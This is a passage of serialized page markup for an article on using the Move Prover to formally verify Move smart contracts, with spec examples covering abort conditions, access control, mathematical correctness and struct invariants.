add_assoc_property",{"type":23,"tag":504,"props":14037,"children":14038},{"style":5058},[14039],{"type":29,"value":603},{"type":23,"tag":504,"props":14041,"children":14042},{"style":5041},[14043],{"type":29,"value":68},{"type":23,"tag":504,"props":14045,"children":14046},{"style":5047},[14047],{"type":29,"value":6533},{"type":23,"tag":504,"props":14049,"children":14050},{"style":5467},[14051],{"type":29,"value":6773},{"type":23,"tag":504,"props":14053,"children":14054},{"style":5058},[14055],{"type":29,"value":4367},{"type":23,"tag":504,"props":14057,"children":14058},{"style":5041},[14059],{"type":29,"value":3003},{"type":23,"tag":504,"props":14061,"children":14062},{"style":5047},[14063],{"type":29,"value":6533},{"type":23,"tag":504,"props":14065,"children":14066},{"style":5467},[14067],{"type":29,"value":6773},{"type":23,"tag":504,"props":14069,"children":14070},{"style":5058},[14071],{"type":29,"value":4367},{"type":23,"tag":504,"props":14073,"children":14074},{"style":5041},[14075],{"type":29,"value":3110},{"type":23,"tag":504,"props":14077,"children":14078},{"style":5047},[14079],{"type":29,"value":6533},{"type":23,"tag":504,"props":14081,"children":14082},{"style":5467},[14083],{"type":29,"value":6773},{"type":23,"tag":504,"props":14085,"children":14086},{"style":5058},[14087],{"type":29,"value":933},{"type":23,"tag":504,"props":14089,"children":14090},{"style":5047},[14091],{"type":29,"value":6533},{"type":23,"tag":504,"props":14093,"children":14094},{"style":5467},[14095],{"type":29,"value":14096}," bool",{"type":23,"tag":504,"props":14098,"children":14099},{"style":5058},[14100],{"type":29,"value":5333},{"type":23,"tag":504,"props":14102,"children":14103},{"class":5016,"line":4868},[14104,14108,14112,14116,14120,14124,14128,14132,14136],{"type":23,"tag":504,"props":14105,"children":14106},{"style":5030},[14107],{"type":29,"value":5033},{"type":23,"tag":504,"props":14109,"children":14110},{"style":5041},[14111],{"type":29,"value":10237},{"type":23,"tag":504,"props":14113,"children":14114},{"style":5047},[14115],{"type":29,"value":5050},{"type":23,"tag":504,"props":14117,"children":14118},{"style":5139},[14119],{"type":29,"value":11628},{"type":23,"tag":504,"props":14121,"children":14122},{"style":5058},[14123],{"type":29,"value":603},{"type":23,"tag":504,"props":14125,"children":14126},{"style":5041},[14127],{"type":29,"value":3003},{"type":23,"tag":504,"props":14129,"children":14130},{"style":5058},[14131],{"type":29,"value":4367},{"type":23,"tag":504,"props":14133,"children":14134},{"style":5041},[14135],{"type":29,"value":3110},{"type":23,"tag":504,"props":14137,"children":14138},{"style":5058},[14139],{"type":29,"value":5888},{"type":23,"tag":504,"props":14141,"children":14142},{"class":5016,"line":4876},[14143,14147,14152,14156,14160,14164,14168,14172,14177],{"type":23,"tag":504,"props":14144,"children":14145},{"style":5030},[14146],{"type":29,"value":5033},{"type":23,"tag":504,"props":14148,"children":14149},{"style":5041},[14150],{"type":29,"value":14151}," result_11",{"type":23,"tag":504,"props":14153,"children":14154},{"style":5047},[14155],{"type":29,"value":5050},{"type":23,"tag":504,"props":14157,"children":14158},{"style":5139},[14159],{"type":29,"value":11628},{"type":23,"tag":504,"props":14161,"children":14162},{"style":5058},[14163],{"type":29,"value":603},{"type":23,"tag":504,"props":14165,"children":14166},{"style":5041},[14167],{"type":29,"value":68},{"type":23,"tag":504,"props":14169,"children":14170},{"style":5058},[14171],{"type":29,"value":4367},{"type":23,"tag":504,"props":14173,"children":14174},{"style":5041},[14175],{"type":29,"value":14176},"result_1",{"type":23,"tag":504,"props":14178,"children":14179},{"style":5058},[14180],{"type":29,"value":5888},{"type":23,"tag":504,"props":14182,"children":14183},{"class":5016,"line":5099},[14184,14188,14192,14196,14200,14204,14208,14212,14216],{"type":23,"tag":504,"props":14185,"children":14186},{"style":5030},[14187],{"type":29,"value":5033},{"type":23,"tag":504,"props":14189,"children":14190},{"style":5041},[14191],{"type":29,"value":10263},{"type":23,"tag":504,"props":14193,"children":14194},{"style":5047},[14195],{"type":29,"value":5050},{"type":23,"tag":504,"props":14197,"children":14198},{"style":5139},[14199],{"type":29,"value":11628},{"type":23,"tag":504,"props":14201,"children":14202},{"style":5058},[14203],{"type":29,"value":603},{"type":23,"tag":504,"props":14205,"children":14206},{"style":5041},[14207],{"type":29,"value":68},{"type":23,"tag":504,"props":14209,"children":14210},{"style":5058},[14211],{"type":29,"value":4367},{"type":23,"tag":504,"props":14213,"children":14214},{"style":5041},[14215],{"type":29,"value":3003},{"type":23,"tag":504,"props":14217,"children":14218},{"style":5058},[14219],{"type":29,"value":5888},{"type":23,"tag":504,"props":14221,"children":14222},{"class":5016,"line":5203},[14223,14227,14232,14236,14240,14244,14248,14252,14257],{"type":23,"tag":504,"props":14224,"children":14225},{"style":5030},[14226],{"type":29,"value":5033},{"type":23,"tag":504,"props":14228,"children":14229},{"style":5041},[14230],{"type":29,"value":14231}," result_22",{"type":23,"tag":504,"props":14233,"children":14234},{"style":5047},[14235],{"type":29,"value":5050},{"type":23,"tag":504,"props":14237,"children":14238},{"style":5139},[14239],{"type":29,"value":11628},{"type":23,"tag":504,"props":14241,"children":14242},{"style":5058},[14243],{"type":29,"value":603},{"type":23,"tag":504,"props":14245,"children":14246},{"style":5041},[14247],{"type":29,"value":3110},{"type":23,"tag":504,"props":14249,"children":14250},{"style":5058},[14251],{"type":29,"value":4367},{"type":23,"tag":504,"props":14253,"children":14254},{"style":5041},[14255],{"type":29,"value":14256},"result_2",{"type":23,"tag":504,"props":14258,"children":14259},{"style":5058},[14260],{"type":29,"value":5888},{"type":23,"tag":504,"props":14262,"children":14263},{"class":5016,"line":5308},[14264],{"type":23,"tag":504,"props":14265,"children":14266},{"emptyLinePlaceholder":15},[14267],{"type":29,"value":5734},{"type":23,"tag":504,"props":14269,"children":14270},{"class":5016,"line":5336},[14271,14275,14279,14283,14288,14292,14296,14301,14305,14309,14314],{"type":23,"tag":504,"props":14272,"children":14273},{"style":5030},[14274],{"type":29,"value":5033},{"type":23,"tag":504,"props":14276,"children":14277},{"style":5041},[14278],{"type":29,"value":9905},{"type":23,"tag":504,"props":14280,"children":14281},{"style":5047},[14282],{"type":29,"value":5050},{"type":23,"tag":504,"props":14284,"children":14285},{"style":5139},[14286],{"type":29,"value":14287}," compare",{"type":23,"tag":504,"props":14289,"children":14290},{"style":5058},[14291],{"type":29,"value":603},{"type":23,"tag":504,"props":14293,"children":14294},{"style":5047},[14295],{"type":29,"value":5151},{"type":23,"tag":504,"props":14297,"children":14298},{"style":5041},[14299],{"type":29,"value":14300},"result_11",{"type":23,"tag":504,"props":14302,"children":14303},{"style":5058},[14304],{"type":29,"value":4367},{"type":23,"tag":504,"props":14306,"children":14307},{"style":5047},[14308],{"type":29,"value":5151},{"type":23,"tag":504,"props":14310,"children":14311},{"style":5041},[14312],{"type":29,"value":14313},"result_22",{"type":23,"tag":504,"props":14315,"children":14316},{"style":5058},[14317],{"type":29,"value":5888},{"type":23,"tag":504,"props":14319,"children":14320},{"class":5016,"line":5349},[14321,14326,14331,14335,14339,14344,14348,14353],{"type":23,"tag":504,"props":14322,"children":14323},{"style":5067},[14324],{"type":29,"value":14325},"    if",{"type":23,"tag":504,"props":14327,"children":14328},{"style":5058},[14329],{"type":29,"value":14330}," ( ",{"type":23,"tag":504,"props":14332,"children":14333},{"style":5041},[14334],{"type":29,"value":9970},{"type":23,"tag":504,"props":14336,"children":14337},{"style":5047},[14338],{"type":29,"value":5324},{"type":23,"tag":504,"props":14340,"children":14341},{"style":5058},[14342],{"type":29,"value":14343}," EQUAL ) ",{"type":23,"tag":504,"props":14345,"children":14346},{"style":5030},[14347],{"type":29,"value":513},{"type":23,"tag":504,"props":14349,"children":14350},{"style":5067},[14351],{"type":29,"value":14352}," else",{"type":23,"tag":504,"props":14354,"children":14355},{"style":5030},[14356],{"type":29,"value":14357}," false\n",{"type":23,"tag":504,"props":14359,"children":14360},{"class":5016,"line":5367},[14361],{"type":23,"tag":504,"props":14362,"children":14363},{"style":5058},[14364],{"type":29,"value":5965},{"type":23,"tag":32,"props":14366,"children":14367},{},[14368],{"type":29,"value":14369},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":4743,"props":14371,"children":14373},{"code":14372,"language":5008,"meta":7,"className":5009,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[14374],{"type":23,"tag":154,"props":14375,"children":14376},{"__ignoreMap":7},[14377,14392,14496,14520],{"type":23,"tag":504,"props":14378,"children":14379},{"class":5016,"line":5017},[14380,14384,14388],{"type":23,"tag":504,"props":14381,"children":14382},{"style":5041},[14383],{"type":29,"value":10320},{"type":23,"tag":504,"props":14385,"children":14386},{"style":5041},[14387],{"type":29,"value":14035},{"type":23,"tag":504,"props":14389,"children":14390},{"style":5058},[14391],{"type":29,"value":5333},{"type":23,"tag":504,"props":14393,"children":14394},{"class":5016,"line":4868},[14395,14399,14403,14408,14412,14416,14420,14424,14428,14432,14436,14440,14444,14448,14452,14456,14460,14464,14468,14472,14476,14480,14484,14488,14492],{"type":23,"tag":504,"props":14396,"children":14397},{"style":5041},[14398],{"type":29,"value":11949},{"type":23,"tag":504,"props":14400,"children":14401},{"style":5058},[14402],{"type":29,"value":5110},{"type":23,"tag":504,"props":14404,"children":14405},{"style":5139},[14406],{"type":29,"value":14407},"value_of_U256",{"type":23,"tag":504,"props":14409,"children":14410},{"style":5058},[14411],{"type":29,"value":603},{"type":23,"tag":504,"props":14413,"children":14414},{"style":5041},[14415],{"type":29,"value":68},{"type":23,"tag":504,"props":14417,"children":14418},{"style":5058},[14419],{"type":29,"value":5128},{"type":23,"tag":504,"props":14421,"children":14422},{"style":5047},[14423],{"type":29,"value":6422},{"type":23,"tag":504,"props":14425,"children":14426},{"style":5139},[14427],{"type":29,"value":11750},{"type":23,"tag":504,"props":14429,"children":14430},{"style":5058},[14431],{"type":29,"value":603},{"type":23,"tag":504,"props":14433,"children":14434},{"style":5041},[14435],{"type":29,"value":3003},{"type":23,"tag":504,"props":14437,"children":14438},{"style":5058},[14439],{"type":29,"value":10882},{"type":23,"tag":504,"props":14441,"children":14442},{"style":5047},[14443],{"type":29,"value":6422},{"type":23,"tag":504,"props":14445,"children":14446},{"style":5139},[14447],{"type":29,"value":11750},{"type":23,"tag":504,"props":14449,"children":14450},{"style":5058},[14451],{"type":29,"value":603},{"type":23,"tag":504,"props":14453,"children":14454},{"style":5041},[14455],{"type":29,"value":3110},{"type":23,"tag":504,"props":14457,"children":14458},{"style":5058},[14459],{"type":29,"value":5128},{"type":23,"tag":504,"props":14461,"children":14462},{"style":5047},[14463],{"type":29,"value":1678},{"type":23,"tag":504,"props":14465,"children":14466},{"style":5467},[14467],{"type":29,"value":11706},{"type":23,"tag":504,"props":14469,"children":14470},{"style":5047},[14471],{"type":29,"value":11863},{"type":23,"tag":504,"props":14473,"children":14474},{"style":5467},[14475],{"type":29,"value":11706},{"type":23,"tag":504,"props":14477,"children":14478},{"style":5047},[14479],{"type":29,"value":11863},{"type":23,"tag":504,"props":14481,"children":14482},{"style":5467},[14483],{"type":29,"value":11706},{"type":23,"tag":504,"props":14485,"children":14486},{"style":5047},[14487],{"type":29,"value":11863},{"type":23,"tag":504,"props":14489,"children":14490},{"style":5467},[14491],{"type":29,"value":11706},{"type":23,"tag":504,"props":14493,"children":14494},{"style":5058},[14495],{"type":29,"value":5061},{"type":23,"tag":504,"props":14497,"children":14498},{"class":5016,"line":4876},[14499,14503,14507,14511,14516],{"type":23,"tag":504,"props":14500,"children":14501},{"style":5041},[14502],{"type":29,"value":12246},{"type":23,"tag":504,"props":14504,"children":14505},{"style":5041},[14506],{"type":29,"value":11207},{"type":23,"tag":504,"props":14508,"children":14509},{"style":5047},[14510],{"type":29,"value":5324},{"type":23,"tag":504,"props":14512,"children":14513},{"style":5030},[14514],{"type":29,"value":14515}," true",{"type":23,"tag":504,"props":14517,"children":14518},{"style":5058},[14519],{"type":29,"value":5061},{"type":23,"tag":504,"props":14521,"children":14522},{"class":5016,"line":5099},[14523],{"type":23,"tag":504,"props":14524,"children":14525},{"style":5058},[14526],{"type":29,"value":5965},{"type":23,"tag":32,"props":14528,"children":14529},{},[14530],{"type":29,"value":14531},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":4743,"props":14533,"children":14534},{"code":13992},[14535],{"type":23,"tag":154,"props":14536,"children":14537},{"__ignoreMap":7},[14538],{"type":29,"value":13992},{"type":23,"tag":32,"props":14540,"children":14541},{},[14542,14544,14551],{"type":29,"value":14543},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":68,"props":14545,"children":14548},{"href":14546,"rel":14547},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[72],[14549],{"type":29,"value":14550},"spec-lang.md",{"type":29,"value":14552}," in the Move Repository.",{"type":23,"tag":24,"props":14554,"children":14556},{"id":14555},"use-cases",[14557],{"type":29,"value":14558},"Use Cases",{"type":23,"tag":32,"props":14560,"children":14561},{},[14562],{"type":29,"value":14563},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":32,"props":14565,"children":14566},{},[14567],{"type":29,"value":14568},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":320,"props":14570,"children":14572},{"id":14571},"error-conditions",[14573],{"type":29,"value":14574},"Error Conditions",{"type":23,"tag":32,"props":14576,"children":14577},{},[14578,14580,14586],{"type":29,"value":14579},"Taking an example from ",{"type":23,"tag":154,"props":14581,"children":14583},{"className":14582},[],[14584],{"type":29,"value":14585},"std::fixed_point32",{"type":29,"value":14587},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":4743,"props":14589,"children":14591},{"code":14590,"language":5008,"meta":7,"className":5009,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[14592],{"type":23,"tag":154,"props":14593,"children":14594},{"__ignoreMap":7},[14595,14616,14636,14657,14703,14711,14774,14813],{"type":23,"tag":504,"props":14596,"children":14597},{"class":5016,"line":5017},[14598,14602,14607,14612],{"type":23,"tag":504,"props":14599,"children":14600},{"style":5041},[14601],{"type":29,"value":10974},{"type":23,"tag":504,"props":14603,"children":14604},{"style":5041},[14605],{"type":29,"value":14606}," schema",{"type":23,"tag":504,"props":14608,"children":14609},{"style":5467},[14610],{"type":29,"value":14611}," MultiplyAbortsIf",{"type":23,"tag":504,"props":14613,"children":14614},{"style":5058},[14615],{"type":29,"value":5333},{"type":23,"tag":504,"props":14617,"children":14618},{"class":5016,"line":4868},[14619,14624,14628,14632],{"type":23,"tag":504,"props":14620,"children":14621},{"style":5041},[14622],{"type":29,"value":14623},"          val",{"type":23,"tag":504,"props":14625,"children":14626},{"style":5047},[14627],{"type":29,"value":6533},{"type":23,"tag":504,"props":14629,"children":14630},{"style":5041},[14631],{"type":29,"value":11779},{"type":23,"tag":504,"props":14633,"children":14634},{"style":5058},[14635],{"type":29,"value":5061},{"type":23,"tag":504,"props":14637,"children":14638},{"class":5016,"line":4876},[14639,14644,14648,14653],{"type":23,"tag":504,"props":14640,"children":14641},{"style":5041},[14642],{"type":29,"value":14643},"          multiplier",{"type":23,"tag":504,"props":14645,"children":14646},{"style":5047},[14647],{"type":29,"value":6533},{"type":23,"tag":504,"props":14649,"children":14650},{"style":5467},[14651],{"type":29,"value":14652}," FixedPoint32",{"type":23,"tag":504,"props":14654,"children":14655},{"style":5058},[14656],{"type":29,"value":5061},{"type":23,"tag":504,"props":14658,"children":14659},{"class":5016,"line":5099},[14660,14665,14670,14674,14679,14683,14688,14693,14698],{"type":23,"tag":504,"props":14661,"children":14662},{"style":5041},[14663],{"type":29,"value":14664},"          aborts_if",{"type":23,"tag":504,"props":14666,"children":14667},{"style":5139},[14668],{"type":29,"value":14669}," spec_multiply_u64",{"type":23,"tag":504,"props":14671,"children":14672},{"style":5058},[14673],{"type":29,"value":603},{"type":23,"tag":504,"props":14675,"children":14676},{"style":5041},[14677],{"type":29,"value":14678},"val",{"type":23,"tag":504,"props":14680,"children":14681},{"style":5058},[14682],{"type":29,"value":4367},{"type":23,"tag":504,"props":14684,"children":14685},{"style":5041},[14686],{"type":29,"value":14687},"multiplier",{"type":23,"tag":504,"props":14689,"children":14690},{"style":5058},[14691],{"type":29,"value":14692},") > MAX_U64 ",{"type":23,"tag":504,"props":14694,"children":14695},{"style":5041},[14696],{"type":29,"value":14697},"with",{"type":23,"tag":504,"props":14699,"children":14700},{"style":5058},[14701],{"type":29,"value":14702}," EMULTIPLICATION;\n",{"type":23,"tag":504,"props":14704,"children":14705},{"class":5016,"line":5203},[14706],{"type":23,"tag":504,"props":14707,"children":14708},{"style":5058},[14709],{"type":29,"value":14710},"      }\n",{"type":23,"tag":504,"props":14712,"children":14713},{"class":5016,"line":5308},[14714,14718,14722,14726,14730,14734,14738,14742,14746,14750,14754,14758,14762,14766,14770],{"type":23,"tag":504,"props":14715,"children":14716},{"style":5041},[14717],{"type":29,"value":10974},{"type":23,"tag":504,"props":14719,"children":14720},{"style":5041},[14721],{"type":29,"value":8252},{"type":23,"tag":504,"props":14723,"children":14724},{"style":5139},[14725],{"type":29,"value":14669},{"type":23,"tag":504,"props":14727,"children":14728},{"style":5058},[14729],{"type":29,"value":603},{"type":23,"tag":504,"props":14731,"children":14732},{"style":5041},[14733],{"type":29,"value":14678},{"type":23,"tag":504,"props":14735,"children":14736},{"style":5047},[14737],{"type":29,"value":6533},{"type":23,"tag":504,"props":14739,"children":14740},{"style":5041},[14741],{"type":29,"value":11779},{"type":23,"tag":504,"props":14743,"children":14744},{"style":5058},[14745],{"type":29,"value":4367},{"type":23,"tag":504,"props":14747,"children":14748},{"style":5041},[14749],{"type":29,"value":14687},{"type":23,"tag":504,"props":14751,"children":14752},{"style":5047},[14753],{"type":29,"value":6533},{"type":23,"tag":504,"props":14755,"children":14756},{"style":5467},[14757],{"type":29,"value":14652},{"type":23,"tag":504,"props":14759,"children":14760},{"style":5058},[14761],{"type":29,"value":933},{"type":23,"tag":504,"props":14763,"children":14764},{"style":5047},[14765],{"type":29,"value":6533},{"type":23,"tag":504,"props":14767,"children":14768},{"style":5041},[14769],{"type":29,"value":11779},{"type":23,"tag":504,"props":14771,"children":14772},{"style":5058},[14773],{"type":29,"value":5333},{"type":23,"tag":504,"props":14775,"children":14776},{"class":5016,"line":5336},[14777,14781,14785,14789,14794,14798,14803,14808],{"type":23,"tag":504,"props":14778,"children":14779},{"style":5058},[14780],{"type":29,"value":10755},{"type":23,"tag":504,"props":14782,"children":14783},{"style":5041},[14784],{"type":29,"value":14678},{"type":23,"tag":504,"props":14786,"children":14787},{"style":5047},[14788],{"type":29,"value":11863},{"type":23,"tag":504,"props":14790,"children":14791},{"style":5041},[14792],{"type":29,"value":14793}," multiplier",{"type":23,"tag":504,"props":14795,"children":14796},{"style":5047},[14797],{"type":29,"value":357},{"type":23,"tag":504,"props":14799,"children":14800},{"style":5058},[14801],{"type":29,"value":14802},"value) ",{"type":23,"tag":504,"props":14804,"children":14805},{"style":5047},[14806],{"type":29,"value":14807},">>",{"type":23,"tag":504,"props":14809,"children":14810},{"style":5083},[14811],{"type":29,"value":14812}," 32\n",{"type":23,"tag":504,"props":14814,"children":14815},{"class":5016,"line":5349},[14816],{"type":23,"tag":504,"props":14817,"children":14818},{"style":5058},[14819],{"type":29,"value":14710},{"type":23,"tag":320,"props":14821,"children":14823},{"id":14822},"access-control-policies",[14824],{"type":29,"value":14825},"Access Control Policies",{"type":23,"tag":32,"props":14827,"children":14828},{},[14829],{"type":29,"value":14830},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":32,"props":14832,"children":14833},{},[14834,14836,14842,14844,14849],{"type":29,"value":14835},"For example, in ",{"type":23,"tag":154,"props":14837,"children":14839},{"className":14838},[],[14840],{"type":29,"value":14841},"std::offer",{"type":29,"value":14843}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":4321,"props":14845,"children":14846},{},[14847],{"type":29,"value":14848},"or",{"type":29,"value":14850}," the recipient is now allowed.",{"type":23,"tag":4743,"props":14852,"children":14854},{"code":14853,"language":5008,"meta":7,"className":5009,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[14855],{"type":23,"tag":154,"props":14856,"children":14857},{"__ignoreMap":7},[14858,14875,14883,14891,14899,14946,15004,15047,15113],{"type":23,"tag":504,"props":14859,"children":14860},{"class":5016,"line":5017},[14861,14866,14871],{"type":23,"tag":504,"props":14862,"children":14863},{"style":5041},[14864],{"type":29,"value":14865},"    spec",{"type":23,"tag":504,"props":14867,"children":14868},{"style":5041},[14869],{"type":29,"value":14870}," redeem",{"type":23,"tag":504,"props":14872,"children":14873},{"style":5058},[14874],{"type":29,"value":5333},{"type":23,"tag":504,"props":14876,"children":14877},{"class":5016,"line":4868},[14878],{"type":23,"tag":504,"props":14879,"children":14880},{"style":5021},[14881],{"type":29,"value":14882},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":504,"props":14884,"children":14885},{"class":5016,"line":4876},[14886],{"type":23,"tag":504,"props":14887,"children":14888},{"style":5021},[14889],{"type":29,"value":14890},"      /// cannot redeem the offer.\n",{"type":23,"tag":504,"props":14892,"children":14893},{"class":5016,"line":5099},[14894],{"type":23,"tag":504,"props":14895,"children":14896},{"style":5021},[14897],{"type":29,"value":14898},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":504,"props":14900,"children":14901},{"class":5016,"line":5203},[14902,14906,14911,14915,14919,14924,14928,14933,14937,14942],{"type":23,"tag":504,"props":14903,"children":14904},{"style":5041},[14905],{"type":29,"value":11099},{"type":23,"tag":504,"props":14907,"children":14908},{"style":5047},[14909],{"type":29,"value":14910}," !",{"type":23,"tag":504,"props":14912,"children":14913},{"style":5041},[14914],{"type":29,"value":8748},{"type":23,"tag":504,"props":14916,"children":14917},{"style":5058},[14918],{"type":29,"value":2658},{"type":23,"tag":504,"props":14920,"children":14921},{"style":5467},[14922],{"type":29,"value":14923},"Offer",{"type":23,"tag":504,"props":14925,"children":14926},{"style":5058},[14927],{"type":29,"value":2658},{"type":23,"tag":504,"props":14929,"children":14930},{"style":5467},[14931],{"type":29,"value":14932},"Offered",{"type":23,"tag":504,"props":14934,"children":14935},{"style":5058},[14936],{"type":29,"value":8770},{"type":23,"tag":504,"props":14938,"children":14939},{"style":5041},[14940],{"type":29,"value":14941},"offer_address",{"type":23,"tag":504,"props":14943,"children":14944},{"style":5058},[14945],{"type":29,"value":5888},{"type":23,"tag":504,"props":14947,"children":14948},{"class":5016,"line":5308},[14949,14953,14957,14962,14966,14970,14974,14978,14983,14987,14991,14995,15000],{"type":23,"tag":504,"props":14950,"children":14951},{"style":5041},[14952],{"type":29,"value":11099},{"type":23,"tag":504,"props":14954,"children":14955},{"style":5047},[14956],{"type":29,"value":14910},{"type":23,"tag":504,"props":14958,"children":14959},{"style":5041},[14960],{"type":29,"value":14961},"is_allowed_recipient",{"type":23,"tag":504,"props":14963,"children":14964},{"style":5058},[14965],{"type":29,"value":2658},{"type":23,"tag":504,"props":14967,"children":14968},{"style":5467},[14969],{"type":29,"value":14932},{"type":23,"tag":504,"props":14971,"children":14972},{"style":5058},[14973],{"type":29,"value":9655},{"type":23,"tag":504,"props":14975,"children":14976},{"style":5041},[14977],{"type":29,"value":14941},{"type":23,"tag":504,"props":14979,"children":14980},{"style":5058},[14981],{"type":29,"value":14982},", signer",{"type":23,"tag":504,"props":14984,"children":14985},{"style":5047},[14986],{"type":29,"value":5530},{"type":23,"tag":504,"props":14988,"children":14989},{"style":5139},[14990],{"type":29,"value":9253},{"type":23,"tag":504,"props":14992,"children":14993},{"style":5058},[14994],{"type":29,"value":603},{"type":23,"tag":504,"props":14996,"children":14997},{"style":5041},[14998],{"type":29,"value":14999},"account",{"type":23,"tag":504,"props":15001,"children":15002},{"style":5058},[15003],{"type":29,"value":9267},{"type":23,"tag":504,"props":15005,"children":15006},{"class":5016,"line":5336},[15007,15011,15015,15019,15023,15027,15031,15035,15039,15043],{"type":23,"tag":504,"props":15008,"children":15009},{"style":5041},[15010],{"type":29,"value":10232},{"type":23,"tag":504,"props":15012,"children":15013},{"style":5047},[15014],{"type":29,"value":14910},{"type":23,"tag":504,"props":15016,"children":15017},{"style":5041},[15018],{"type":29,"value":8748},{"type":23,"tag":504,"props":15020,"children":15021},{"style":5058},[15022],{"type":29,"value":2658},{"type":23,"tag":504,"props":15024,"children":15025},{"style":5467},[15026],{"type":29,"value":14923},{"type":23,"tag":504,"props":15028,"children":15029},{"style":5058},[15030],{"type":29,"value":2658},{"type":23,"tag":504,"props":15032,"children":15033},{"style":5467},[15034],{"type":29,"value":14932},{"type":23,"tag":504,"props":15036,"children":15037},{"style":5058},[15038],{"type":29,"value":8770},{"type":23,"tag":504,"props":15040,"children":15041},{"style":5041},[15042],{"type":29,"value":14941},{"type":23,"tag":504,"props":15044,"children":15045},{"style":5058},[15046],{"type":29,"value":5888},{"type":23,"tag":504,"props":15048,"children":15049},{"class":5016,"line":5349},[15050,15054,15058,15062,15067,15071,15076,15080,15084,15088,15092,15096,15100,15104,15108],{"type":23,"tag":504,"props":15051,"children":15052},{"style":5041},[15053],{"type":29,"value":10232},{"type":23,"tag":504,"props":15055,"children":15056},{"style":5041},[15057],{"type":29,"value":11207},{"type":23,"tag":504,"props":15059,"children":15060},{"style":5047},[15061],{"type":29,"value":5324},{"type":23,"tag":504,"props":15063,"children":15064},{"style":5139},[15065],{"type":29,"value":15066}," old",{"type":23,"tag":504,"props":15068,"children":15069},{"style":5058},[15070],{"type":29,"value":603},{"type":23,"tag":504,"props":15072,"children":15073},{"style":5041},[15074],{"type":29,"value":15075},"global",{"type":23,"tag":504,"props":15077,"children":15078},{"style":5058},[15079],{"type":29,"value":2658},{"type":23,"tag":504,"props":15081,"children":15082},{"style":5467},[15083],{"type":29,"value":14923},{"type":23,"tag":504,"props":15085,"children":15086},{"style":5058},[15087],{"type":29,"value":2658},{"type":23,"tag":504,"props":15089,"children":15090},{"style":5467},[15091],{"type":29,"value":14932},{"type":23,"tag":504,"props":15093,"children":15094},{"style":5058},[15095],{"type":29,"value":8770},{"type":23,"tag":504,"props":15097,"children":15098},{"style":5041},[15099],{"type":29,"value":14941},{"type":23,"tag":504,"props":15101,"children":15102},{"style":5058},[15103],{"type":29,"value":933},{"type":23,"tag":504,"props":15105,"children":15106},{"style":5047},[15107],{"type":29,"value":357},{"type":23,"tag":504,"props":15109,"children":15110},{"style":5058},[15111],{"type":29,"value":15112},"offered);\n",{"type":23,"tag":504,"props":15114,"children":15115},{"class":5016,"line":5367},[15116],{"type":23,"tag":504,"props":15117,"children":15118},{"style":5058},[15119],{"type":29,"value":5403},{"type":23,"tag":32,"props":15121,"children":15122},{},[15123],{"type":29,"value":15124},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":320,"props":15126,"children":15128},{"id":15127},"complex-mathematical-formulae",[15129],{"type":29,"value":15130},"Complex Mathematical Formulae",{"type":23,"tag":32,"props":15132,"children":15133},{},[15134,15136,15141],{"type":29,"value":15135},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":4321,"props":15137,"children":15138},{},[15139],{"type":29,"value":15140},"always",{"type":29,"value":15142}," the output.",{"type":23,"tag":32,"props":15144,"children":15145},{},[15146],{"type":29,"value":15147},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":32,"props":15149,"children":15150},{},[15151,15153,15160],{"type":29,"value":15152},"For example, in our work with ",{"type":23,"tag":68,"props":15154,"children":15157},{"href":15155,"rel":15156},"https://laminar.markets/",[72],[15158],{"type":29,"value":15159},"Laminar Markets",{"type":29,"value":15161},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":320,"props":15163,"children":15165},{"id":15164},"data-invariants",[15166],{"type":29,"value":15167},"Data Invariants",{"type":23,"tag":32,"props":15169,"children":15170},{},[15171,15173,15179,15181,15187,15189,15195,15197,15203],{"type":29,"value":15172},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":154,"props":15174,"children":15176},{"className":15175},[],[15177],{"type":29,"value":15178},"variables",{"type":29,"value":15180}," or ",{"type":23,"tag":154,"props":15182,"children":15184},{"className":15183},[],[15185],{"type":29,"value":15186},"resources",{"type":29,"value":15188}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":154,"props":15190,"children":15192},{"className":15191},[],[15193],{"type":29,"value":15194},"index",{"type":29,"value":15196}," is never greater than 4 using a ",{"type":23,"tag":154,"props":15198,"children":15200},{"className":15199},[],[15201],{"type":29,"value":15202},"struct invariant",{"type":29,"value":357},{"type":23,"tag":4743,"props":15205,"children":15207},{"code":15206,"language":5008,"meta":7,"className":5009,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 